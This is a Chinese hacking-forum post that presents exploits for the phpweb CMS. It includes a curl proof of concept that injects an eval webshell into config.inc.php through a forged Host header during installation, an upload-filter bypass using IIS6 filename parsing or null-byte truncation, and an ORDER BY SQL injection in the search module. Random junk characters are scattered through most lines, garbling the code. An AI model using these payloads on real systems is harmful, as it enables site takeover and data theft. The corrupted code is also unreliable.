找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2697|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:
- r; ?2 P/ R2 O: J, a5 Z+ [, U( p
4 J) S5 O; _2 g; F) P0 x6 N之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
7 _$ E4 W' @, r1 r' L6 B$ D 6 p' ]# V. b% A+ V  A7 ]  Z
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
9 Q& V. f/ i4 I3 A* x+ P/ U鸡肋2: 有一定安全常识的站长都会删掉 install 目录
( Y2 I) A% \% h4 _! X9 E
4 }' ?# P4 w! J3 a- Q% z虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响% p" x4 b7 C/ q: ?7 [% _& R

* b6 p% a, ?* T2 \. i" U$ j# y分析:% e; X- o* e1 \% w" l5 N
% Y4 ~) N, n- z# u

' S+ V* Q  r) ?$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
% b, ~% G( d+ C9 u( b
2 W1 f- D+ E/ m) q                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
  c) r6 t; b. r4 J' u! w! C6 a                                            $filestr=str_replace(" ","",$filestr);9 z8 e# c( [+ l
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
1 ?% ]9 p/ w$ }1 \4 L                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);5 ~' d% C2 L- I3 a8 b  Z# |
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
. _$ @% g. [1 Q                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
' d( B! s' w% S  `' H                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);" M" b6 P  i, ], u! o; R
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
7 w  g: R3 q2 `0 {. [                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);8 Q3 K; Q& o; k- Y
$ X+ o/ ?; s! a% t
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
) a  i% v  r- V) O2 {. g$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^; G9 s+ [/ l! f6 W1 t+ }  r. j

6 i- D' I( s4 lpoc:
# t0 m% i% N) G  u& H3 s$ G # q8 u* c; G/ @" U2 N# u
?& y( V" z9 E$ K* W. {
1
  S6 N8 B  n8 B7 Bcurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"% @; L3 C, H$ D' ~! x
shell地址: /config.inc.php, K1 I& t! Q& @6 E9 T) E& q; i# X
跟之前的 phpcms一样 需要远程数据库
3 b. q- }$ G: c9 z; _ - {+ D' s5 U; ~: ~" X3 q% }& J
——————————————————–
/ `1 Z; p6 t7 i3 R上传漏洞(需要进后台):' E% v+ [: x: W3 r( H  F  z( I- F
漏洞文件: /kedit/upload_cgi/upload.php% e2 j+ P$ J4 D1 \; q$ I( V+ |
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
; G& Y7 f* \( \$ Y2 W1 @/ s2 A . c  w% X0 k3 P) i- Q
! w# H( [4 O& x! ?5 @! v$ F, X+ e' U
<?php
. ]; E0 s6 B: ]/ v8 m+ R    define("ROOTPATH", "../../");( D: X3 D" B3 i! @/ C& W9 L0 x
    include(ROOTPATH."includes/admin.inc.php");( l6 H; U. B- Y5 I, T) |: F
    NeedAuth(0);
& E! k6 ^: a* K
/ v2 b9 q9 Y* k* X, a  r. ?    $dt=date("Ymd",time());8 A! o* x) o+ e) c- n
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){0 {0 N2 l0 C. }" D' H  A0 W- Z
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
8 Z! W) y9 q7 K# |8 i) @+ U/ {) i    }
/ O9 z: |6 L/ p4 ?3 T1 `1 J + q7 y5 C; Y1 n- k/ O
    //文件保存目录路径
  U& _9 h7 }8 P    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
# H# h' q3 j: w) P- M0 x    echo $save_path;7 A) L0 v* x0 h( y
    //文件保存目录URL
: i% k# f  h' ?) Z    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
% m* e: {4 Q4 m4 j' c) t $ K6 J7 S: l6 n5 M
    //定义允许上传的文件扩展名( X# s0 ^4 R7 B+ }$ o) Y
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀! W1 a& Z. G7 n* w; _0 s# p9 @. _6 v

8 R- f; |; c( n9 I    //最大文件大小( N7 X% E3 M% w4 F5 j
    $max_size = 1000000;
5 c7 L( V! }& Y+ j, k6 ]
- [: n  t$ G7 J! D9 m    //更改目录权限) V& \, n: p2 F. L5 h9 [
    @mkdir($save_path, 0777);1 x! b, U) t6 x. ~, M' W
1 n8 g- g+ b4 N
    //文件的全部路径9 G# ?9 J6 k& W# B0 H1 F
    $file_path = $save_path.$_POST['fileName'];   //保存文件名
; w/ N2 w" V7 j, Y* s0 T& z# W 3 N/ O+ w! x, V7 U: p8 z
    //文件URL. |8 h/ J1 v6 y/ h0 ?
    $file_url = $save_url.$_POST['fileName'];. x, {+ j0 W* d$ F, ?6 y
//有上传文件时
: C* y' }0 R) _" F6 c9 u    if (empty($_FILES) === false) {
9 m  o/ {4 [2 T) ~) A7 ?
7 O9 Z# b/ u" V2 c. c$ e- _            //原文件名9 _0 u2 N& c  ^( t7 J
            $file_name = $_FILES['fileData']['name'];
; ^7 b7 X* ]" F3 N/ i- J# c            //服务器上临时文件名  Y) z( L/ V$ R9 C4 u
            $tmp_name = $_FILES['fileData']['tmp_name'];
! {: p: @: ^0 ?            //文件大小0 o# k9 _8 X% |8 y$ ]
            $file_size = $_FILES['fileData']['size'];
$ q  U$ E" K3 `) ?/ j2 e; ]            //检查目录
8 ~' D* m7 ], z% v  p& b4 ^            if (@is_dir($save_path) === false) {
; z4 E* \( @  ?# i8 Y" F- V                    alert("上传目录不存在。");! k/ C( }8 N" P) q) C# c
            }! m1 S( C* M6 y5 e+ i* a( ]5 L
            //检查目录写权限
/ I8 g4 h( q& f9 F/ S            if (@is_writable($save_path) === false) {+ A+ Q; M! Y+ l+ L8 U( Y1 L6 O
                    alert("上传目录没有写权限。");
. ]0 E- B; g2 [% u$ H            }, t. [5 J- |* V& e, H. D
            //检查是否已上传9 A( \! p1 [% j5 m, X1 l
            if (@is_uploaded_file($tmp_name) === false) {. g, l2 R/ Z7 A# L  Z3 V
                    alert("临时文件可能不是上传文件。");, j. N) O: o# ?' P4 P$ X# U- I
            }
' s$ Z) O2 Y4 O: Z7 p% ~1 I            //检查文件大小" D% ~5 ?# e$ C; P5 g
            if ($file_size > $max_size) {
" y: z# Y1 h- C( R$ J% J                    alert("上传文件大小超过限制。");, z( j% E1 b8 d* B4 y
            }
! K3 b" |& g9 Z. v+ I& V: w! c) X+ l            //获得文件扩展名
, o, ]0 M; _2 M0 T2 \            $temp_arr = explode(".", $_POST['fileName']);+ ]/ y# @* }8 U+ S
            $file_ext = array_pop($temp_arr);6 _  E; \' c- a2 i& m1 O
            $file_ext = trim($file_ext);( O, V$ M9 I% M$ ^/ b* i% C1 n- w: o
            $file_ext = strtolower($file_ext);
  z, y- j7 v. o5 v , c" l- I* m3 _( m! K, S
            //检查扩展名   4 d6 r  a* [, c' Z& A' }% m
            if (in_array($file_ext, $ext_arr) === false) {     
# i0 _+ W9 r, V1 b+ P; b5 F/ c                    alert("上传文件扩展名是不允许的扩展名。");
. g% ^+ `9 W1 ?& z7 A. K* i( w            }
, ~  G. w3 B4 q2 ?, x4 O# w , E6 M7 E, l* K! O8 a6 [! H
            //移动文件   
% W$ P- }* A: W            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
1 C: D! S0 d" N            if (move_uploaded_file($tmp_name, $file_path) === false) {: a$ e5 w; ~0 q4 D) w! r+ C$ `% B
                    alert("上传文件失败。");
: p2 Q, Y) Y/ h            }
6 i' D8 g4 j5 j1 m$ m3 B
2 X, w" e3 Y$ t. ?1 V  V7 r! s            @chmod($file_path,0666);
5 d5 T5 s7 o& b5 O$ h! V) W $ {( l, b( g: A' s; ]% Q
    ?>
2 H; h% [2 P6 b  t$ }- Q! g# g抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227* O& V, q) y: G  a' }6 i, {0 B+ I' ]
. K1 p7 T* Y* D8 d  M9 `! b
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
9 l2 [) l) p, L' C  U( c! w& A7 T 6 Q9 ]5 L* b& r+ A9 g; c- V3 b
——————————————————
% Z/ Z; J: n3 q注入漏洞:
6 G$ ]  ?" K  s3 k2 T漏洞文件:search/module/search.php) u1 e% `- `0 [! n
/search/index.php?key=1&myord=1 [sqlinjection]6 B& u1 x! @: D5 T
" x$ W& {7 K% |- z. D+ B

- F) M( D, S+ f; C' c+ f% ?<?php
3 d& s, P8 J, `; s/ I! R5 }! t9 Z) @   //       ... 省略 n 行...
# l0 F4 R- P3 c   //第18行:3 ~% {6 }/ G! r4 I: u2 q) ]
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响$ f8 f2 U3 t; g' L2 G
           $page=htmlspecialchars($_GET["page"]);/ C5 X; ]/ z1 [- f* H1 W# o' Y( l( w
           $myord=htmlspecialchars($_GET["myord"]);
8 i( Y4 N3 A, D# J7 B+ D9 j
5 {( u" _- B" W' n9 P/ O   //       ... 省略 n 行...+ A1 k) }: c0 u  k' T
   $key,$myord 两个参数带入查询4 y4 V( v2 `. a, F
   //第47行 $key:. A* C$ x- q: j9 t5 P

0 R2 F9 h$ j. J   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
" J0 w. n/ o- f; ~) x' v# G $ Y  }/ m: Z; b& ~% G$ O
   //第197行 $myord
9 m# m& k0 k; |; h, j   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入( n) s. R+ B) X  V3 X3 f

4 R& ^  {. J; m( @1 k   ?>  Z$ y* r6 T% d- a5 C/ M
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表